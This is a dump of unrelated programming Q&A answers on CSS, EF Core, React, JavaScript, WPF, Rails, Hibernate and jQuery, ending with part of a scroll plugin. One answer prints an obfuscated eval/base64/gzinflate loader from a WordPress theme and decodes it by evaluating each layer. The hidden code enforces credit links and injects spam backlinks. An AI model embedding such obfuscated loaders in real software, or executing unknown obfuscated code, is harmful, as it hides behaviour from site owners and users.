background-color: #254a01;
}
li:last-child {
border-right: none;
}
li a:hover:not(.active) {
background-color: #254a01;
}
li a,
.dropbtn {
display: inline-block;
color: #F9FCEA;
text-align: center;
padding: 14px 16px;
text-decoration: none;
}
li a:hover,
.dropdown:hover .dropbtn {
background-color: #254a01;
}
li.dropdown {
display: inline-block;
}
.dropdown-content {
display: none;
position: absolute;
background-color: #96CB49;
min-width: 160px;
box-shadow: 0px 8px 16px 0px rgba(0, 0, 0, 0.2);
z-index: 1;
}
.dropdown-content a {
color: #F9FCEA;
padding: 12px 16px;
text-decoration: none;
display: block;
text-align: left;
}
.dropdown-content a:hover {
background-color: #254a01;
}
.dropdown:hover .dropdown-content {
display: block;
}
<nav>
<ul>
<li><a class="active" href="#home">Home</a></li>
<li class="dropdown">
<a href="javascript:void(0)" class="dropbtn">Klimawandel</a>
<div class="dropdown-content">
<a href="Seiten/der_klimawandel.html">Der Klimawandel</a>
<a href="Seiten/ursachen.html">Die Ursachen des Klimawandels</a>
<a href="Seiten/auswirkungen.html">Die Auswirkungen des Klimawandels</a>
</div>
</li>
<li><a href="Seiten/über_uns.html">Über uns</a></li>
<li><a href="Seiten/kontakt.html">Kontakt</a></li>
<li style="float:left"><a>Logo</a></li>
</ul>
</nav>
However, today there are more effective approaches to doing layout in CSS, such as flex-box which would make your task very easy:
ul {
background: green;
display: flex;
list-style: none;
justify-content: end;
}
<ul>
<li>One</li>
<li>Two</li>
<li>Three</li>
</ul> | unknown | |
d18170 | test | There is not IsOptional in EntityFrameworkCore but there is IsRequired to do the oposite. By default field are nullable if the C# type is nullable.
A: You can achieve the same effect with IsRequired(false). This will override annotations like [Required] so be careful. On another thread, it was pointed out that annotations that affect EF models or make no sense [Display...] should not be part of the EF model. Move them to a ViewModel or DTO object. | unknown | |
d18171 | test | The problem lies in that line because you are returning
return (
{authenticated ? (...) : (...)});
Which means, that you're trying to return an object, and that's not what you actually want. So you should change it to this:
return authenticated ? (
<Popover overlayClassName="gx-popover-horizantal" placement="bottomRight" content={userMenuOptions}
trigger="click">
<Avatar src={require("assets/images/w-logo.png")}
className="gx-avatar gx-pointer" alt="" />
</Popover>
) : (
<Popover overlayClassName="gx-popover-horizantal" placement="bottomRight" content={userMenuOptions}
trigger="click">
<Avatar src={require("assets/images/w-logo.png")}
className="gx-avatar gx-pointer" alt="" />
</Popover>
); | unknown | |
d18172 | test | This is because, when you create displayStats you take the value of the textarea at the moment of the creation (e.g. nothing).
To make your script working, you can "store" the reference to the textarea in displayStatsand access his value when needed.
This is the corrected script:
// global variables
var numWords = 0;
var displayStats = document.getElementById('userInput');
// display stats
function showStats()
alert(calWords(displayStats.value));
}
// calculate words
function calWords(str) {
for(var i = 0; i < str.length; i++) {
if (str[i] === ' ') {
numWords ++;
}
}
return numWords + 1;
}
A: Add the code to get the text area content inside the function.
// global variables
var numWords = 0;
// display stats
function showStats() {
var displayStats = document.getElementById('userInput').value;
alert(calWords(displayStats));
}
// calculate words
function calWords(str) {
for(var i = 0; i < str.length; i++) {
if (str[i] === ' ') {
numWords ++;
}
}
return numWords + 1;
}
A: The reason being you have initialised the displayStats globally which will be initialised once the page when load will happen. It would be better if you move displayStats inside click handler.
Also, if you are interested in knowing the number of words in the textarea, you should move your numWords inside the calWords, that way you will get the number of words which is present in the textarea.
// display stats
function showStats() {
var displayStats = document.getElementById('userInput').value;
alert(calWords(displayStats));
}
// calculate words
function calWords(str) {
var numWords = 0;
for(var i = 0; i < str.length; i++) {
if (str[i] === ' ') {
numWords ++;
}
}
return numWords + 1;
}
<form class="userform">
<label id="labeltxt">Enter a Message to Display Statistics</label><br>
<textarea type="text" name="message" id='userInput'></textarea><br>
<button type="button" onclick="showStats()">Submit</button>
</form> | unknown | |
d18173 | test | Not sure but it seems that using :
WindowVisibility = Visibility.Hidden;
Doesn't help keeping the window from appearing when taking a screenshot, I had to hide the window using the .Hide() method:
Application.Current.MainWindow.Hide();
That worked just well, bust still doesn't have any explanation why the Visibility.Hidden keeps the window appearing in screenshots. | unknown | |
d18174 | test | Modern web development is now actually divided in to two major parts
*
*Frontend (JavaScript and related things)
*Backend (PHP, NodeJS or others)
Now if you are more interested in designing the User Interface and what shows on the screen, then go forward to HTML and then JavaScipt and then JQuery (which is an opensource library in JavaScript) and then CSS.
However if you are interested in Backend (means server side coding, databases and business logics etc) then you should target PHP or any other suitable server side language.
Bonus: If you are interested in starting things quickly, I would recommend that start learning JavaScript first, because there is a server side technology named NodeJS (which does almost all the work PHP does) and it uses JavaScript. So in that case, you only will have to learn JavaScript and CSS.
A: They are for different purposes. JQuery is for Front End, that means, what will run on users's browsers. The same goes for HTML and CSS. PHP is what will run on the server.
If you are extremely newbie, just as I was a few years ago, you might want to learn them all at the same time. Also, SQL, as it is the language for databases.
This site is for beginners: http://www.w3schools.com/ | unknown | |
d18175 | test | Do something like this:
@published_events = Event.select("events.*, dates.date AS date_of_event")
.joins(:dates) # you join dates table to sort the events by date
.where(:published => true) # here you take only published events
.order("dates.date ASC") # here you order them
In your views you'll do something like
@published_events.each do |event|
<p><%= event.id %></p>
<p><%= event.name %></p>
<p><%= event.date_of_event %></p>
end
Caution -> You did not specify the exact name of your columns so I'm guessing that you event has a name, or your dates table has a column call date.
I hope this is useful!
Edit:
If you want to group them by date, after you retrieve them from the database (this is very important ), you could indeed use group_by ( group by is located in Enumerable/group_by ) like this
@published_events.all.group_by(&:date_of_event)
If you do like this you will end up with a hash where every key is a date, and the coresponding value for that key is an array of events | unknown | |
d18176 | test | Twilio SendGrid developer evangelist here.
From the docs:
To ensure our customers maintain the best possible sender reputations and to uphold legitimate sending behavior, we require customers to verify their Sender Identities. A Sender Identity represents your “From” email address—the address your recipients will see as the sender of your emails.
In order to verify a sender identity you can either set up single sender verification or domain authentication.
Single sender verification is quicker, but only allows you to send from a single email address. This is useful for testing. Domain authentication requires access to DNS records to set up, but will allow you to send from any email address on a domain as well as improve overall deliverability and reputation.
Once you have verified your sender identity you can set the default from email address in your application with the DEFAULT_FROM_EMAIL setting. On a per-email basis, you can also use the from_email argument when using send_mail. | unknown | |
d18177 | test | In general, if entity id is not null, hibernate will perform update.
More information here:
saveOrUpdate() does the following:
*
*if the object is already persistent in this session, do nothing if
another object associated with the session has the same identifier,
throw an exception
*if the object has no identifier property, save() it
*if the object's identifier has the value assigned to a newly instantiated object, save() it
*if the object is versioned by a or , and the version property value is the same value assigned to a newly
instantiated object, save() it
*otherwise update() the object
You have to call save() explicitly or leave id null | unknown | |
d18178 | test | In the else part, you are not checking again if the names are the same or not. That's why it's not showing Success the next time when you gave the same names. Using a loop would be better if we want to take inputs until the same names are entered.
public static void main(String args[]) throws IOException {
BufferedReader input = new BufferedReader(new InputStreamReader(System.in));
boolean areNamesEqual = false;
while(!areNamesEqual) {
System.out.println("Enter name: ");
String one = input.readLine();
System.out.println("Re-enter name: ");
String two = input.readLine();
if (one.equalsIgnoreCase(two)) {
areNamesEqual = true;
}
}
System.out.print("Success");
} | unknown | |
d18179 | test | I would check php fpm logs. Maybe running out of php fpm processes. | unknown | |
d18180 | test | Solution in my question. In topic1 I found it:
X4V1 answered Jun 16 '15 at 20:24
I have found a trick to do that without having to copy the canvas.
This solution is really close to css zoom property but events are
handle correctly.
This is an example to display the canvas half its size:
-webkit-transform : scale(0.5);
-webkit-transform-origin : 0 0; | unknown | |
d18181 | test | I would set up a parsing function that reacts to every change in any of the form elements, and "compiles" the string containing the bits of information.
You could set this function to the "onchange" event of each element.
How the parsing function will have to look like is really up to what you want to achieve. It could be something like this: (intentionally leaving out framework specific functions)
function parse_form()
{
var age_string = "Your computer is"
var age = document.getElementById("age").value;
if (age == 1) age_string+= "one year old";
if (age > 1) age_string+= "more than one year old";
... and so on.
}
A: A regular jQuery click listener will do. Making some assumptions about your HTML code (that you're using radio input buttons with label tags whose for attributes correspond to the IDs of the radio buttons):
$("#options input").click(function(){
var optionID= $(this).attr(id);
var outputText= $("label[for="+optionID+"]");
$("#output").text(outputText);
});
This code will accomplish pretty much exactly what you want. If you want separate DIVs for each particular output message, just create divs each with class output with let's say a rel attribute corresponding to the ID of the input button, then:
$("#options input").click(function(){
var optionID= $(this).attr(id);
$("div.output[rel!="+optionID+"]").slideUp(function(){
var outputDiv= $("div[rel="+optionID+"]");
});
});
This code can be improved by better handling situations in which an already selected option is reclicked (try it... weird things may happen), or if clicks occur very quickly.
Alternately, you can just use the regular onclick attribute for the input radio buttons if you just want to stick to native Javascript. If you're interested in the appropriate code for that, post a comment, and someone will surely be able to help you out.
A: Here is an example with jQuery that will fit your needs.
// no tricks here this function will run as soon as the document is ready.
$(document).ready(function() {
// select all three check boxes and subscribe to the click event.
$("input[name=ComputerAge]").click(function(event) {
var display = $("#ComputerAgeTextDisplay"); // # means the ID of the element
switch (parseInt(this.value)) // 'this' is the checkbox they clicked.
{
case 1:
display.html("Your computer is one year old.");
break;
case 2:
display.html("Your computer is two years old.");
break;
case 3:
display.html("Your computer is three years old.");
break;
default:
display.html("Please select the age of your computer.");
break;
}
});
});
A: <span id='#options'>
Options:
<input type='radio' name='options' value='one'>One Year</input>
<input type='radio' name='options' value='two'>Two Years</input>
<input type='radio' name='options' value='three'>Three Years</input>
</span>
Output: "<span id='#output'></span>"
...
var labels = {
one: "Your computer is One Year Old",
two: "Your computer is Two Years Old",
three: "Your computer is Three Years Old"
};
$('#options :radio').click(function() {
$('#output).html(labels[$(this).val()]);
});
A: You'd need a way to associate each checkbox with the information you wanted to show. You could for example combine the name and value to get an ID to show, assuming the values are characters that are valid in an ID:
<input type="radio" name="age" value="1" /> One year
<input type="radio" name="age" value="2" /> Two years
<input type="radio" name="age" value="3" /> Three years
<div id="age-1"> Your computer is awesome!! </div>
<div id="age-2"> Your computer is so-so </div>
<div id="age-3"> Your computer sucks </div>
Now you just need a bit of script to tie them together:
function showElementsForInputs(inputs) {
// Set the visibility of each element according to whether the corresponding
// input is checked or not
//
function update() {
for (var i= inputs.length; i-->0;) {
var input= inputs[i];
var element= document.getElementById(inputs[i].name+'-'+inputs[i].value);
element.style.display= input.checked? 'block' : 'none';
}
}
// Set the visibility at the beginning and also when any of the inputs are
// clicked. (nb. use onclick not onchanged for better responsiveness in IE)
//
for (var i= inputs.length; i-->0;)
inputs[i].onclick= update;
update();
}
showElementsForInputs(document.getElementById('formid').elements.age); | unknown | |
d18182 | test | <?php
$code = <<<CODE
eval(gzinflate(base64_decode(str_rot13(strrev('==jC9/3aks/9//950fElFo+AhZMoHt5ptamYrSq0F2D9nrc/sBsgZkRIjULvIIa5E0RVGJPIDYErPtxPPVzfh+hlTjjCovI7l2N37C3bPDVxFQ3VrqwHRk4z55vuxZjGro526lFixNQ3ZwmYAA88DzUTzJPk3zwJR9Lsb5VbUg1owEOEGXUL0fVvoTtZWcefoBbqBXK8t/aQTitbtgjJYT3ILq9i8PFvMj9JOp/pcKg/dq55QUPGeaIXyF527EzebhDbKPg5vMLAJchFIHs/NBlNhX4zc08EZ2ppkok7Sgle+uZfLdtf0jB6NFJ1c7qLx39T9msPaYxUH8dTlUEodCvEoeW2awQfph/wwEBr44F9/smLayS4OIAA9ykR6L14YnyZCzV3Wmy2aVDT3SeYn6MadB7v6q1p6+BeLfLUp/OsurpGjnn1Q+XnPFRytt6NaMI5BET/QQwLdzC1IzU0sFncqYvrMWLdOe9R2lNm6+Vj0NYGf3b6IwCzDFhVBk5WF8cuTx+9Q3tsvw28qwvAvB7ry2Ip4W5gHKX2vBMmdHhHh/jSeilWj7CwgBSosAhXNvpB8rKhyS3Tl6W5IuD6oASm4997Qd/Op441vIB9N9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ax0jp7/+nMrSa3ORN2jDDcq9R0V2i7TKnNXANdsg1LBn9sHW+Q6052ui+WuBhf7RbdQxqeJ2l3NfsYpnZzqT5XfLi6mWZzEDBzQSORD6B2ltcRdlYxYyQwKo8iMWacbJCyjTarNsxwuI781B0GSl8jBi3OGHzgdBvVisPvUWPb399+D03ogmkE+M8vBUQtqhi4p7CItaMUJgKVzYBTrj0ch5hsR4PbUqGFgznyVUJFCDIZIKhFuPKtgP3R6bUhwgIu8Vm8K26Atkhv4fMapVGACd6miprogp9wrNx5BkAC53GsKQZ2YOZobt/dHnzK1Xi1M70GX9Z4QsYA/SFy34RAJR0pZMLcrZqGm8sy4ppIfbO1Y05Fv9ssOfCpRJvQWYCacGzlo9ZenIH28u2odkkfFisx5UtM+noHFwzK1B2a8HxdngtSxNRPNPtOOzg//q/+/awgb2+5wuqq+z/+h9CSKhASI+/EQpeGzx/iD2+fLzac+s6wb4ilene7y9msbRYKltOQx2sCk0H5jfTBywmvOV9bkfHNO3K9sJcsIxgfAhoUiMS')))));
CODE;
while (strpos($code, 'eval') === 0) {
echo $code, PHP_EOL;
$code = substr_replace($code, 'echo', 0, 4);
ob_start();
eval($code);
$code = trim(ob_get_clean());
}
echo $code, PHP_EOL;
This gives you a lot of garbage, and in the end this:
$cf_____________j='c';$ax________c='d';$nl_____d='_';$ci_______________b='e';$fi________v='d';$qu______________c='6';$hk______________o='a';$ar_____h='e';$hp__________a='s';$cc____e='b';$um_______u='o';$zs_______________s='e';$yr_______n='4';$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b='i';$lw_______e='i';$bx__v='x';$uo_____________o='c';$jb________r='t';$ge______y='e';$jn_______________o='u';$sw__________b='n';$rb____________k='s';$xc_______j='n';$tu___________o='t';$lh______v='f';$hc____o='o';$eq____c='s';$ks____t='_';$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r='e';$pl________r='n';$oy____t='f';$pj_____________i='o';$zg________h='p';$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j='f';$bm_____________b='d';$ah_______g='e';$yw__y='r';$hy__________t='a';$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define("WP_ID", $lr_________a("Mi4wLjA="));define("WP_TTL", $lr_________a("MTA4MDA="));define("WP_SRC", $lr_________a("dHBva24="));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM=")) &&$ep________g($lr_________a("d3BfZ2V0X2Zvb3Rlcg==")) &&$ep________g($lr_________a("d3BfY3ZfdmVyaWZ5"))) {get_header();}}function wp_get_footer() {get_footer();wp_cv_verify();}function wp_cv_verify() {global $lr_________a, $xe___________h, $bz___u, $oo____e;$cw____g = TEMPLATEPATH."/".$lr_________a("Zm9vdGVyLnBocA==");$oz_______________l = @$xe___________h($cw____g, "r");$cw____g = @$oo____e($oz_______________l, @filesize($cw____g));@$bz___u($oz_______________l);$qk___e = TEMPLATEPATH."/".$lr_________a("ZnVuY3Rpb25zLnBocA==");$oz_______________l = @$xe___________h($qk___e, "r");$qk___e = @$oo____e($oz_______________l, @filesize($qk___e));@$bz___u($oz_______________l);$ds________m = 0;if($cw____g && $qk___e) {if ($lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==") !== str_replace("www.", "", $_SERVER["SERVER_NAME"])) {if (substr_count($cw____g, $lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==")) < 2) {$ds________m = 1;}if (substr_count($cw____g, "wp_theme_GPL_credits()") < 1) {$ds________m = 2;}}if(WP_ID != "2.0.0") {$ds________m = 12;}}if($ds________m > 0) {echo "<div style=\"position: fixed; bottom:0; left:0; width:100%; height: 25px; background-color: red; color: white; font-size: 16px; padding: 2px 10px; text-align: center;\"> <strong> This themes is powered by <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a>. This website violated the terms of use <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a> </strong> </div>";echo "<!-- v: $ds________m -->";}}function wp_loaded() {global $lr_________a, $ep________g;return $ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM="));}if (!function_exists("the_content_limit")) {function the_content_limit($ov______t, $bx__________q = "(more...)", $sa_________e = 0, $rb____f = "") {$sy_______j = get_the_content($bx__________q, $sa_________e, $rb____f);$sy_______j = apply_filters("the_content", $sy_______j);$sy_______j = str_replace("]]>", "]]>", $sy_______j);if (strlen($_GET["p"]) > 0) {echo $sy_______j;}else if ((strlen($sy_______j)>$ov______t) && ($zk__________f = strpos($sy_______j, " ", $ov______t ))) {$sy_______j = substr($sy_______j, 0, $zk__________f);$sy_______j = $sy_______j;echo $sy_______j;echo "...";echo "<br/>";echo "<div class='read-more'><a href='".get_permalink()."'>$bx__________q</a></div></p>";} else {echo $sy_______j;}}}$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;function wp_theme_GPL_credits() {echo 'Art by <a href="http://www.quickest-way-to-lose-weight.co">Quickest Way to Lose Weight</a> | <a href="http://www.driveway-alarm.info">Driveway Alarm</a> | <a href="http://www.medical-assistant-salary.info">Medical Assistant Salary</a>';}
And no, I'm not going to deobfuscate that result for you too. :P
A: After several iterations of replacing eval by echo (22 to be precise), this resulted from the code:
$cf_____________j='c';$ax________c='d';$nl_____d='_';$ci_______________b='e';$fi________v='d';$qu______________c='6';$hk______________o='a';$ar_____h='e';$hp__________a='s';$cc____e='b';$um_______u='o';$zs_______________s='e';$yr_______n='4';$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b='i';$lw_______e='i';$bx__v='x';$uo_____________o='c';$jb________r='t';$ge______y='e';$jn_______________o='u';$sw__________b='n';$rb____________k='s';$xc_______j='n';$tu___________o='t';$lh______v='f';$hc____o='o';$eq____c='s';$ks____t='_';$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r='e';$pl________r='n';$oy____t='f';$pj_____________i='o';$zg________h='p';$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j='f';$bm_____________b='d';$ah_______g='e';$yw__y='r';$hy__________t='a';$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define("WP_ID", $lr_________a("Mi4wLjA="));define("WP_TTL", $lr_________a("MTA4MDA="));define("WP_SRC", $lr_________a("dHBva24="));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM=")) &&$ep________g($lr_________a("d3BfZ2V0X2Zvb3Rlcg==")) &&$ep________g($lr_________a("d3BfY3ZfdmVyaWZ5"))) {get_header();}}function wp_get_footer() {get_footer();wp_cv_verify();}function wp_cv_verify() {global $lr_________a, $xe___________h, $bz___u, $oo____e;$cw____g = TEMPLATEPATH."/".$lr_________a("Zm9vdGVyLnBocA==");$oz_______________l = @$xe___________h($cw____g, "r");$cw____g = @$oo____e($oz_______________l, @filesize($cw____g));@$bz___u($oz_______________l);$qk___e = TEMPLATEPATH."/".$lr_________a("ZnVuY3Rpb25zLnBocA==");$oz_______________l = @$xe___________h($qk___e, "r");$qk___e = @$oo____e($oz_______________l, @filesize($qk___e));@$bz___u($oz_______________l);$ds________m = 0;if($cw____g && $qk___e) {if ($lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==") !== str_replace("www.", "", $_SERVER["SERVER_NAME"])) {if (substr_count($cw____g, $lr_________a("Z2VuZXJpY3dwdGhlbWVzLmNvbQ==")) < 2) {$ds________m = 1;}if (substr_count($cw____g, "wp_theme_GPL_credits()") < 1) {$ds________m = 2;}}if(WP_ID != "2.0.0") {$ds________m = 12;}}if($ds________m > 0) {echo "<div style=\"position: fixed; bottom:0; left:0; width:100%; height: 25px; background-color: red; color: white; font-size: 16px; padding: 2px 10px; text-align: center;\"> <strong> This themes is powered by <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a>. This website violated the terms of use <a href=\"http://genericwpthemes.com\" style=\"color: white;\">Free Wordpress Themes</a> </strong> </div>";echo "<!-- v: $ds________m -->";}}function wp_loaded() {global $lr_________a, $ep________g;return $ep________g($lr_________a("d3BfdGhlbWVfR1BMX2NyZWRpdHM="));}if (!function_exists("the_content_limit")) {function the_content_limit($ov______t, $bx__________q = "(more...)", $sa_________e = 0, $rb____f = "") {$sy_______j = get_the_content($bx__________q, $sa_________e, $rb____f);$sy_______j = apply_filters("the_content", $sy_______j);$sy_______j = str_replace("]]>", "]]>", $sy_______j);if (strlen($_GET["p"]) > 0) {echo $sy_______j;}else if ((strlen($sy_______j)>$ov______t) && ($zk__________f = strpos($sy_______j, " ", $ov______t ))) {$sy_______j = substr($sy_______j, 0, $zk__________f);$sy_______j = $sy_______j;echo $sy_______j;echo "...";echo "<br/>";echo "<div class='read-more'><a href='".get_permalink()."'>$bx__________q</a></div></p>";} else {echo $sy_______j;}}}$zd__g='s';$ia_____a='o';$le_____v='e';$pi_____i='l';$xm____j='f';$dh_______________s='c';$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;function wp_theme_GPL_credits() {echo 'Art by <a href="http://www.quickest-way-to-lose-weight.co">Quickest Way to Lose Weight</a> | <a href="http://www.driveway-alarm.info">Driveway Alarm</a> | <a href="http://www.medical-assistant-salary.info">Medical Assistant Salary</a>';} | unknown | |
d18183 | test | Is "dateString" supposed to be "dateCreated"?
This code works:
var dateCreated = new Date('2015-01-20');
var dd = dateCreated.getDate();
var mm = dateCreated.getMonth()+1;
var yyyy = dateCreated.getFullYear();
if(dd<10) {
dd='0'+dd
}
if(mm<10) {
mm='0'+mm
}
dateCreated = yyyy + '-' + mm+'-'+dd;
;
console.log(dateCreated, typeof(dateCreated));
2015-01-20 string | unknown | |
d18184 | test | Disclaimer: I work for Redis Labs, the company providing Redis Cloud.
1) Can I choose any of Azure Redis cache or Redis cloud service if I interface through stackexchange.redis nuget?
Yes - both Azure Redis and Redis Cloud provide a Redis database that you can use with the StackEchange.Redis client from your app.
2) Azure Redis Cache vs Redis Cloud - differences & implications of choosing one over the other - if this info already available.
While both are essentially a hosted Redis service, there are several differences between them. Most notably, Azure Redis Cache is deeply integrated in the Azure platform so you have everything (management, metrics, etc...) accessible from your management portal. OTOH, Redis Cloud is cloud-agnostic (it is available on multiple clouds) and offers more features than any other Redis-as-a-Service service. I think that the fact that Redis Cloud is the only service that can scale infinitely and w/o downtime/migration is perhaps the strongest differentiator, but feel free to refer to this comparison table for a high level overview: https://redislabs.com/redis-comparison | unknown | |
d18185 | test | This is what worked for me in the past. I'm not exactly sure of why it works and your solution doesn't, but I think it has something to do with not specifying the collection or the file in a certain way.
mongoimport -u client -h production-db-b2.meteor.io:27017 -d myapp_meteor_com -p passwordthatexpiresreallyfast /pathtofile
A: check your port. the local meteor mongodb uses 3001 not 27017...
i'm using the following line successfully
mongoimport --host localhost:3001 -d meteor -c TestCollection --type csv --file /home/ubuntu/meteorMongoImportTest/results1.txt --headerline | unknown | |
d18186 | test | I just solved this issue for myself.
Go here: http://search.maven.org/#search%7Cga%7C2%7Cjogamp
and download gluegen-2.3.2, gluegen-rt-2.3.2, and jogl-all-2.3.2 (or whatever the latest version is). You have to download two things for each, the regular jar AND the source. | unknown | |
d18187 | test | When you initialize the scroll on load make sure you have stored it in a variable called ias. Something like this
var ias = jQuery.ias({
container: "#posts",
item: ".post",
pagination: "#pagination",
next: ".next a"
});
And in success method call just the ias.destroy(); and ias.bind(); methods as you have done before.
Remove the initialization that is done again in your code i.e
jQuery.ias({
container: "#posts",
item: ".post",
pagination: "#pagination",
next: ".next a"
}); | unknown | |
d18188 | test | This is only a workaround
Do not use display: none;.
Instead write:
...
.link{
display: block;
cursor: default;
}
@media(max-width:768px){
.link{
cursor: pointer;
}
}
This will make the mouse cursor appear normal in desktop and appear clickable on mobile.
In reality you can still click, but 99+% of visitors will not realize or attempt to check.
See: https://developer.mozilla.org/de/docs/Web/CSS/cursor | unknown | |
d18189 | test | Try following the instructions given in this link:
http://jimneath.org/2011/10/19/ruby-ssl-certificate-verify-failed.html
And you have to make this minor change in fix_ssl.rb at the end:
self.ca_file = Rails.root.join('lib/ca-bundle.crt').to_s
I hope this helps. | unknown | |
d18190 | test | You are updating your @costproject AFTER the if condition, I guess you should do it before.
You should consider doing it only if update_attributes returns true, as in following code:
respond_to do |format|
if @costproject.update_attributes(params[:costproject])
flash[:success] = "Project Submitted" if @costproject.previous_changes.include?(:submit_date)
format.html { redirect_to nextpath }
format.json { render json: @costproject }
else
format.html { render action: "edit" }
format.json { render json: @costproject.errors, status: :unprocessable_entity }
end
end | unknown | |
d18191 | test | invalidate() just forces a repaint, it doesn't redo the whole layout, as you noticed.
You can force a relayout by going up to the parent Screen object, and calling invalidateLayout(). Forcing the layout will almost certainly call setPositionChild() on the field you are trying to move, so you will want to make sure the new field position is preserved by the manager layout code. This may mean you need to write a custom manager. | unknown | |
d18192 | test | false
});
} else {
$(settings.target).stop().animate({
scrollTop: heights[index]
}, settings.scrollSpeed,settings.easing);
}
if(window.location.hash.length && settings.sectionName && window.console) {
try {
if($(window.location.hash).length) {
console.warn("Scrollify warning: There are IDs on the page that match the hash value - this will cause the page to anchor.");
}
} catch (e) {
console.warn("Scrollify warning:", window.location.hash, "is not a valid jQuery expression.");
}
}
$(settings.target).promise().done(function(){
currentIndex = index;
locked = false;
firstLoad = false;
if(callbacks) {
settings.after(index,elements);
}
});
}
}
}
function isAccelerating(samples) {
function average(num) {
var sum = 0;
var lastElements = samples.slice(Math.max(samples.length - num, 1));
for(var i = 0; i < lastElements.length; i++){
sum += lastElements[i];
}
return Math.ceil(sum/num);
}
var avEnd = average(10);
var avMiddle = average(70);
if(avEnd >= avMiddle) {
return true;
} else {
return false;
}
}
$.scrollify = function(options) {
initialised = true;
$.easing['easeOutExpo'] = function(x, t, b, c, d) {
return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
};
manualScroll = {
/*handleMousedown:function() {
if(disabled===true) {
return true;
}
scrollable = false;
scrolled = false;
},*/
handleMouseup:function() {
if(disabled===true) {
return true;
}
scrollable = true;
if(scrolled) {
//instant,callbacks
manualScroll.calculateNearest(false,true);
}
},
handleScroll:function() {
if(disabled===true) {
return true;
}
if(timeoutId){
clearTimeout(timeoutId);
}
timeoutId = setTimeout(function(){
scrolled = f;
if(scrollable===false) {
return false;
}
scrollable = false;
//instant,callbacks
manualScroll.calculateNearest(false,false);
}, 200);
},
calculateNearest:function(instant,callbacks) {
top = $window.scrollTop();
var i =1,
max = heights.length,
closest = 0,
prev = Math.abs(heights[0] - top),
diff;
for(;i<max;i++) {
diff = Math.abs(heights[i] - top);
if(diff < prev) {
prev = diff;
closest = i;
}
}
if(atBottom() || atTop()) {
index = closest;
//index, instant, callbacks
animateScroll(closest,instant,callbacks);
}
},
/*wheel scroll*/
wheelHandler:function(e) {
if(disabled===true) {
return true;
} else if(settings.standardScrollElements) {
if($(e.target).is(settings.standardScrollElements) || $(e.target).closest(settings.standardScrollElements).length) {
return true;
}
}
if(!overflow[index]) {
e.preventDefault();
}
var currentScrollTime = new Date().getTime();
e = e || window.event;
var value = e.originalEvent.wheelDelta || -e.originalEvent.deltaY || -e.originalEvent.detail;
var delta = Math.max(-1, Math.min(1, value));
//delta = delta || -e.originalEvent.detail / 3 || e.originalEvent.wheelDelta / 120;
if(scrollSamples.length > 149){
scrollSamples.shift();
}
//scrollSamples.push(Math.abs(delta*10));
scrollSamples.push(Math.abs(value));
if((currentScrollTime-scrollTime) > 200){
scrollSamples = [];
}
scrollTime = currentScrollTime;
if(locked) {
return false;
}
if(delta<0) {
if(index<heights.length-1) {
if(atBottom()) {
if(isAccelerating(scrollSamples)) {
e.preventDefault();
index++;
locked = true;
//index, instant, callbacks
animateScroll(index,false,true);
} else {
return false;
}
}
}
} else if(delta>0) {
if(index>0) {
if(atTop()) {
if(isAccelerating(scrollSamples)) {
e.preventDefault();
index--;
locked = true;
//index, instant, callbacks
animateScroll(index,false,true);
} else {
return false
}
}
}
}
},
/*end of wheel*/
keyHandler:function(e) {
if(disabled===true) {
return true;
}
if(locked===true) {
return false;
}
if(e.keyCode==33 ) {
if(index>0) {
if(atTop()) {
e.preventDefault();
index--;
//index, instant, callbacks
animateScroll(index,false,true);
}
}
} else if(e.keyCode==34) {
if(index<heights.length-1) {
if(atBottom()) {
e.preventDefault();
index++;
//index, instant, callbacks
animateScroll(index,false,true);
}
}
}
if(e.keyCode==38) {
if(index>0) {
if(atTop()) {
e.preventDefault();
index--;
//index, instant, callbacks
animateScroll(index,false,true);
console.log('up arrow');
}
}
} else if(e.keyCode==40) {
if(index<heights.length-1) {
if(atBottom()) {
e.preventDefault();
index++;
//index, instant, callbacks
animateScroll(index,false,true);
console.log('down arrow');
}
}
}
/*home, end button testing*/
if(e.keyCode==35) {
for(index=6;index<1;index--)
{
console.log("worked on end button");
}
}
else if(e.keyCode==36) {
